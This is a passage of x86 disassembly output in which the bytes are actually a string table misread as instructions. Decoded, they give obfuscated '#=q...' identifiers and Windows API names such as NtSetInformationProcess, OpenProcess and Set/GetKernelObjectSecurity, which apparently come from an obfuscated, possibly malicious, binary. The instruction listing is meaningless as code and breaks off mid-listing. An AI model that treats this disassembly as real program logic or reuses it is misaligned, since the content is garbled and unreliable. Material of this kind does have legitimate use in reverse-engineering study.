41c1f4:	5f                   	pop    %edi
41c1f5:	73 70                	jae    0x41c267
41c1f7:	31 24 4d 64 39 55 6f 	xor    %esp,0x6f553964(,%ecx,2)
41c1fe:	4a                   	dec    %edx
41c1ff:	65 59                	gs pop %ecx
41c201:	51                   	push   %ecx
41c202:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
41c207:	71 33                	jno    0x41c23c
41c209:	37                   	aaa
41c20a:	6a 66                	push   $0x66
41c20c:	63 65 44             	arpl   %esp,0x44(%ebp)
41c20f:	70 76                	jo     0x41c287
41c211:	6d                   	insl   (%dx),%es:(%edi)
41c212:	30 42 68             	xor    %al,0x68(%edx)
41c215:	4b                   	dec    %ebx
41c216:	51                   	push   %ecx
41c217:	4d                   	dec    %ebp
41c218:	6b 70 6b 74          	imul   $0x74,0x6b(%eax),%esi
41c21c:	4e                   	dec    %esi
41c21d:	77 3d                	ja     0x41c25c
41c21f:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
41c224:	43                   	inc    %ebx
41c225:	65 4a                	gs dec %edx
41c227:	5f                   	pop    %edi
41c228:	51                   	push   %ecx
41c229:	77 56                	ja     0x41c281
41c22b:	62 5f 5f             	bound  %ebx,0x5f(%edi)
41c22e:	66 62 75 45          	bound  %si,0x45(%ebp)
41c232:	49                   	dec    %ecx
41c233:	6d                   	insl   (%dx),%es:(%edi)
41c234:	6b 54 58 77 53       	imul   $0x53,0x77(%eax,%ebx,2),%edx
41c239:	67 3d 3d 00 23 3d    	addr16 cmp $0x3d23003d,%eax
41c23f:	71 6c                	jno    0x41c2ad
41c241:	49                   	dec    %ecx
41c242:	55                   	push   %ebp
41c243:	46                   	inc    %esi
41c244:	6c                   	insb   (%dx),%es:(%edi)
41c245:	32 53 42             	xor    0x42(%ebx),%dl
41c248:	59                   	pop    %ecx
41c249:	53                   	push   %ebx
41c24a:	52                   	push   %edx
41c24b:	6f                   	outsl  %ds:(%esi),(%dx)
41c24c:	76 33                	jbe    0x41c281
41c24e:	41                   	inc    %ecx
41c24f:	31 57 47             	xor    %edx,0x47(%edi)
41c252:	69 6d 57 51 3d 3d 00 	imul   $0x3d3d51,0x57(%ebp),%ebp
41c259:	23 3d 71 46 57 4c    	and    0x4c574671,%edi
41c25f:	62 42 51             	bound  %eax,0x51(%edx)
41c262:	67 46                	addr16 inc %esi
41c264:	69 49 70 79 32 32 48 	imul   $0x48323279,0x70(%ecx),%ecx
41c26b:	46                   	inc    %esi
41c26c:	62 68 46             	bound  %ebp,0x46(%eax)
41c26f:	39 47 51             	cmp    %eax,0x51(%edi)
41c272:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
41c277:	71 75                	jno    0x41c2ee
41c279:	31 43 69             	xor    %eax,0x69(%ebx)
41c27c:	76 57                	jbe    0x41c2d5
41c27e:	6e                   	outsb  %ds:(%esi),(%dx)
41c27f:	67 64 69 63 6a 5a 48 	imul   $0x4a45485a,%fs:0x6a(%bp,%di),%esp
41c286:	45 4a
41c288:	59                   	pop    %ecx
41c289:	4b                   	dec    %ebx
41c28a:	4d                   	dec    %ebp
41c28b:	33 64 41 3d          	xor    0x3d(%ecx,%eax,2),%esp
41c28f:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
41c294:	36 75 4b             	ss jne 0x41c2e2
41c297:	51                   	push   %ecx
41c298:	7a 69                	jp     0x41c303
41c29a:	4d                   	dec    %ebp
41c29b:	5a                   	pop    %edx
41c29c:	49                   	dec    %ecx
41c29d:	4c                   	dec    %esp
41c29e:	38 5f 50             	cmp    %bl,0x50(%edi)
41c2a1:	61                   	popa
41c2a2:	58                   	pop    %eax
41c2a3:	32 4b 70             	xor    0x70(%ebx),%cl
41c2a6:	62 50 54             	bound  %edx,0x54(%eax)
41c2a9:	41                   	inc    %ecx
41c2aa:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
41c2af:	71 48                	jno    0x41c2f9
41c2b1:	64 56                	fs push %esi
41c2b3:	35 77 4d 4e 69       	xor    $0x694e4d77,%eax
41c2b8:	58                   	pop    %eax
41c2b9:	53                   	push   %ebx
41c2ba:	34 39                	xor    $0x39,%al
41c2bc:	6c                   	insb   (%dx),%es:(%edi)
41c2bd:	44                   	inc    %esp
41c2be:	72 71                	jb     0x41c331
41c2c0:	4a                   	dec    %edx
41c2c1:	46                   	inc    %esi
41c2c2:	33 70 71             	xor    0x71(%eax),%esi
41c2c5:	41                   	inc    %ecx
41c2c6:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
41c2cb:	71 39                	jno    0x41c306
41c2cd:	78 36                	js     0x41c305
41c2cf:	4b                   	dec    %ebx
41c2d0:	42                   	inc    %edx
41c2d1:	4c                   	dec    %esp
41c2d2:	5f                   	pop    %edi
41c2d3:	61                   	popa
41c2d4:	72 59                	jb     0x41c32f
41c2d6:	70 51                	jo     0x41c329
41c2d8:	43                   	inc    %ebx
41c2d9:	24 7a                	and    $0x7a,%al
41c2db:	46                   	inc    %esi
41c2dc:	66 34 70             	data16 xor $0x70,%al
41c2df:	45                   	inc    %ebp
41c2e0:	46                   	inc    %esi
41c2e1:	51                   	push   %ecx
41c2e2:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
41c2e7:	71 65                	jno    0x41c34e
41c2e9:	41                   	inc    %ecx
41c2ea:	44                   	inc    %esp
41c2eb:	53                   	push   %ebx
41c2ec:	52                   	push   %edx
41c2ed:	41                   	inc    %ecx
41c2ee:	71 78                	jno    0x41c368
41c2f0:	43                   	inc    %ebx
41c2f1:	32 46 6c             	xor    0x6c(%esi),%al
41c2f4:	4a                   	dec    %edx
41c2f5:	62 41 35             	bound  %eax,0x35(%ecx)
41c2f8:	55                   	push   %ebp
41c2f9:	63 35 24 32 41 3d    	arpl   %esi,0x3d413224
41c2ff:	3d 00 4d 61 69       	cmp    $0x69614d00,%eax
41c304:	6e                   	outsb  %ds:(%esi),(%dx)
41c305:	00 23                	add    %ah,(%ebx)
41c307:	3d 71 7a 44 7a       	cmp    $0x7a447a71,%eax
41c30c:	67 39 61 24          	cmp    %esp,0x24(%bx,%di)
41c310:	48                   	dec    %eax
41c311:	56                   	push   %esi
41c312:	47                   	inc    %edi
41c313:	47                   	inc    %edi
41c314:	31 47 35             	xor    %eax,0x35(%edi)
41c317:	63 64 68 71          	arpl   %esp,0x71(%eax,%ebp,2)
41c31b:	62 64 77 4f          	bound  %esp,0x4f(%edi,%esi,2)
41c31f:	33 4f 47             	xor    0x47(%edi),%ecx
41c322:	5f                   	pop    %edi
41c323:	53                   	push   %ebx
41c324:	46                   	inc    %esi
41c325:	69 6a 47 58 4e 38 54 	imul   $0x54384e58,0x47(%edx),%ebp
41c32c:	6f                   	outsl  %ds:(%esi),(%dx)
41c32d:	77 61                	ja     0x41c390
41c32f:	33 37                	xor    (%edi),%esi
41c331:	24 54                	and    $0x54,%al
41c333:	51                   	push   %ecx
41c334:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
41c339:	24 36                	and    $0x36,%al
41c33b:	4e                   	dec    %esi
41c33c:	62 45 67             	bound  %eax,0x67(%ebp)
41c33f:	30 48 62             	xor    %cl,0x62(%eax)
41c342:	34 6e                	xor    $0x6e,%al
41c344:	65 58                	gs pop %eax
41c346:	64 58                	fs pop %eax
41c348:	50                   	push   %eax
41c349:	67 45                	addr16 inc %ebp
41c34b:	67 48                	addr16 dec %eax
41c34d:	4a                   	dec    %edx
41c34e:	41                   	inc    %ecx
41c34f:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
41c354:	71 4b                	jno    0x41c3a1
41c356:	4b                   	dec    %ebx
41c357:	68 32 56 34 57       	push   $0x57345632
41c35c:	35 31 55 42 47       	xor    $0x47425531,%eax
41c361:	58                   	pop    %eax
41c362:	52                   	push   %edx
41c363:	30 39                	xor    %bh,(%ecx)
41c365:	4a                   	dec    %edx
41c366:	5f                   	pop    %edi
41c367:	5f                   	pop    %edi
41c368:	70 75                	jo     0x41c3df
41c36a:	67 3d 3d 00 23 3d    	addr16 cmp $0x3d23003d,%eax
41c370:	71 44                	jno    0x41c3b6
41c372:	34 6e                	xor    $0x6e,%al
41c374:	38 4c 34 57          	cmp    %cl,0x57(%esp,%esi,1)
41c378:	39 77 51             	cmp    %esi,0x51(%edi)
41c37b:	58                   	pop    %eax
41c37c:	72 46                	jb     0x41c3c4
41c37e:	37                   	aaa
41c37f:	77 5f                	ja     0x41c3e0
41c381:	33 31                	xor    (%ecx),%esi
41c383:	4b                   	dec    %ebx
41c384:	39 62 6a             	cmp    %esp,0x6a(%edx)
41c387:	6d                   	insl   (%dx),%es:(%edi)
41c388:	79 33                	jns    0x41c3bd
41c38a:	6a 65                	push   $0x65
41c38c:	42                   	inc    %edx
41c38d:	34 31                	xor    $0x31,%al
41c38f:	6d                   	insl   (%dx),%es:(%edi)
41c390:	53                   	push   %ebx
41c391:	4a                   	dec    %edx
41c392:	4a                   	dec    %edx
41c393:	72 59                	jb     0x41c3ee
41c395:	6b 68 36 6c          	imul   $0x6c,0x36(%eax),%ebp
41c399:	70 69                	jo     0x41c404
41c39b:	45                   	inc    %ebp
41c39c:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
41c3a1:	56                   	push   %esi
41c3a2:	71 54                	jno    0x41c3f8
41c3a4:	4d                   	dec    %ebp
41c3a5:	59                   	pop    %ecx
41c3a6:	48                   	dec    %eax
41c3a7:	77 43                	ja     0x41c3ec
41c3a9:	6d                   	insl   (%dx),%es:(%edi)
41c3aa:	77 55                	ja     0x41c401
41c3ac:	48                   	dec    %eax
41c3ad:	4d                   	dec    %ebp
41c3ae:	36 6b 6b 70 4e       	imul   $0x4e,%ss:0x70(%ebx),%ebp
41c3b3:	6b 62 47 77          	imul   $0x77,0x47(%edx),%esp
41c3b7:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
41c3bc:	71 48                	jno    0x41c406
41c3be:	74 75                	je     0x41c435
41c3c0:	5a                   	pop    %edx
41c3c1:	67 35 35 62 39 31    	addr16 xor $0x31396235,%eax
41c3c7:	61                   	popa
41c3c8:	36 31 34 46          	xor    %esi,%ss:(%esi,%eax,2)
41c3cc:	6d                   	insl   (%dx),%es:(%edi)
41c3cd:	48                   	dec    %eax
41c3ce:	4d                   	dec    %ebp
41c3cf:	73 4f                	jae    0x41c420
41c3d1:	4d                   	dec    %ebp
41c3d2:	51                   	push   %ecx
41c3d3:	3d 3d 00 47 65       	cmp    $0x6547003d,%eax
41c3d8:	74 44                	je     0x41c41e
41c3da:	65 74 61             	gs je  0x41c43e
41c3dd:	69 6c 73 00 56 61 6c 	imul   $0x696c6156,0x0(%ebx,%esi,2),%ebp
41c3e4:	69
41c3e5:	64 61                	fs popa
41c3e7:	74 65                	je     0x41c44e
41c3e9:	53                   	push   %ebx
41c3ea:	6f                   	outsl  %ds:(%esi),(%dx)
41c3eb:	75 72                	jne    0x41c45f
41c3ed:	63 65 00             	arpl   %esp,0x0(%ebp)
41c3f0:	56                   	push   %esi
41c3f1:	61                   	popa
41c3f2:	6c                   	insb   (%dx),%es:(%edi)
41c3f3:	69 64 61 74 65 42 6c 	imul   $0x6f6c4265,0x74(%ecx,%eiz,2),%esp
41c3fa:	6f
41c3fb:	63 6b 00             	arpl   %ebp,0x0(%ebx)
41c3fe:	47                   	inc    %edi
41c3ff:	65 74 42             	gs je  0x41c444
41c402:	6c                   	insb   (%dx),%es:(%edi)
41c403:	6f                   	outsl  %ds:(%esi),(%dx)
41c404:	63 6b 48             	arpl   %ebp,0x48(%ebx)
41c407:	61                   	popa
41c408:	73 68                	jae    0x41c472
41c40a:	00 57 72             	add    %dl,0x72(%edi)
41c40d:	69 74 65 42 6c 6f 63 	imul   $0x6b636f6c,0x42(%ebp,%eiz,2),%esi
41c414:	6b
41c415:	44                   	inc    %esp
41c416:	61                   	popa
41c417:	74 61                	je     0x41c47a
41c419:	00 52 65             	add    %dl,0x65(%edx)
41c41c:	61                   	popa
41c41d:	64 42                	fs inc %edx
41c41f:	6c                   	insb   (%dx),%es:(%edi)
41c420:	6f                   	outsl  %ds:(%esi),(%dx)
41c421:	63 6b 44             	arpl   %ebp,0x44(%ebx)
41c424:	61                   	popa
41c425:	74 61                	je     0x41c488
41c427:	00 48 6f             	add    %cl,0x6f(%eax)
41c42a:	73 74                	jae    0x41c4a0
41c42c:	44                   	inc    %esp
41c42d:	65 74 61             	gs je  0x41c491
41c430:	69 6c 73 00 48 6f 73 	imul   $0x74736f48,0x0(%ebx,%esi,2),%ebp
41c437:	74
41c438:	44                   	inc    %esp
41c439:	61                   	popa
41c43a:	74 61                	je     0x41c49d
41c43c:	00 44 65 74          	add    %al,0x74(%ebp,%eiz,2)
41c440:	61                   	popa
41c441:	69 6c 73 00 44 61 74 	imul   $0x61746144,0x0(%ebx,%esi,2),%ebp
41c448:	61
41c449:	00 53 65             	add    %dl,0x65(%ebx)
41c44c:	74 54                	je     0x41c4a2
41c44e:	68 72 65 61 64       	push   $0x64616572
41c453:	45                   	inc    %ebp
41c454:	78 65                	js     0x41c4bb
41c456:	63 75 74             	arpl   %esi,0x74(%ebp)
41c459:	69 6f 6e 53 74 61 74 	imul   $0x74617453,0x6e(%edi),%ebp
41c460:	65 00 47 65          	add    %al,%gs:0x65(%edi)
41c464:	74 43                	je     0x41c4a9
41c466:	75 72                	jne    0x41c4da
41c468:	72 65                	jb     0x41c4cf
41c46a:	6e                   	outsb  %ds:(%esi),(%dx)
41c46b:	74 50                	je     0x41c4bd
41c46d:	72 6f                	jb     0x41c4de
41c46f:	63 65 73             	arpl   %esp,0x73(%ebp)
41c472:	73 00                	jae    0x41c474
41c474:	4f                   	dec    %edi
41c475:	70 65                	jo     0x41c4dc
41c477:	6e                   	outsb  %ds:(%esi),(%dx)
41c478:	50                   	push   %eax
41c479:	72 6f                	jb     0x41c4ea
41c47b:	63 65 73             	arpl   %esp,0x73(%ebp)
41c47e:	73 00                	jae    0x41c480
41c480:	43                   	inc    %ebx
41c481:	6c                   	insb   (%dx),%es:(%edi)
41c482:	6f                   	outsl  %ds:(%esi),(%dx)
41c483:	73 65                	jae    0x41c4ea
41c485:	48                   	dec    %eax
41c486:	61                   	popa
41c487:	6e                   	outsb  %ds:(%esi),(%dx)
41c488:	64 6c                	fs insb (%dx),%es:(%edi)
41c48a:	65 00 51 75          	add    %dl,%gs:0x75(%ecx)
41c48e:	65 72 79             	gs jb  0x41c50a
41c491:	44                   	inc    %esp
41c492:	6f                   	outsl  %ds:(%esi),(%dx)
41c493:	73 44                	jae    0x41c4d9
41c495:	65 76 69             	gs jbe 0x41c501
41c498:	63 65 00             	arpl   %esp,0x0(%ebp)
41c49b:	47                   	inc    %edi
41c49c:	65 74 50             	gs je  0x41c4ef
41c49f:	72 6f                	jb     0x41c510
41c4a1:	63 65 73             	arpl   %esp,0x73(%ebp)
41c4a4:	73 49                	jae    0x41c4ef
41c4a6:	6d                   	insl   (%dx),%es:(%edi)
41c4a7:	61                   	popa
41c4a8:	67 65 46             	addr16 gs inc %esi
41c4ab:	69 6c 65 4e 61 6d 65 	imul   $0x656d61,0x4e(%ebp,%eiz,2),%ebp
41c4b2:	00
41c4b3:	4e                   	dec    %esi
41c4b4:	74 53                	je     0x41c509
41c4b6:	65 74 49             	gs je  0x41c502
41c4b9:	6e                   	outsb  %ds:(%esi),(%dx)
41c4ba:	66 6f                	outsw  %ds:(%esi),(%dx)
41c4bc:	72 6d                	jb     0x41c52b
41c4be:	61                   	popa
41c4bf:	74 69                	je     0x41c52a
41c4c1:	6f                   	outsl  %ds:(%esi),(%dx)
41c4c2:	6e                   	outsb  %ds:(%esi),(%dx)
41c4c3:	50                   	push   %eax
41c4c4:	72 6f                	jb     0x41c535
41c4c6:	63 65 73             	arpl   %esp,0x73(%ebp)
41c4c9:	73 00                	jae    0x41c4cb
41c4cb:	47                   	inc    %edi
41c4cc:	65 74 4b             	gs je  0x41c51a
41c4cf:	65 72 6e             	gs jb  0x41c540
41c4d2:	65 6c                	gs insb (%dx),%es:(%edi)
41c4d4:	4f                   	dec    %edi
41c4d5:	62 6a 65             	bound  %ebp,0x65(%edx)
41c4d8:	63 74 53 65          	arpl   %esi,0x65(%ebx,%edx,2)
41c4dc:	63 75 72             	arpl   %esi,0x72(%ebp)
41c4df:	69 74 79 00 53 65 74 	imul   $0x4b746553,0x0(%ecx,%edi,2),%esi
41c4e6:	4b
41c4e7:	65 72 6e             	gs jb  0x41c558
41c4ea:	65 6c                	gs insb (%dx),%es:(%edi)
41c4ec:	4f                   	dec    %edi
41c4ed:	62 6a 65             	bound  %ebp,0x65(%edx)
41c4f0:	63 74 53 65          	arpl   %esi,0x65(%ebx,%edx,2)
41c4f4:	63 75 72             	arpl   %esi,0x72(%ebp)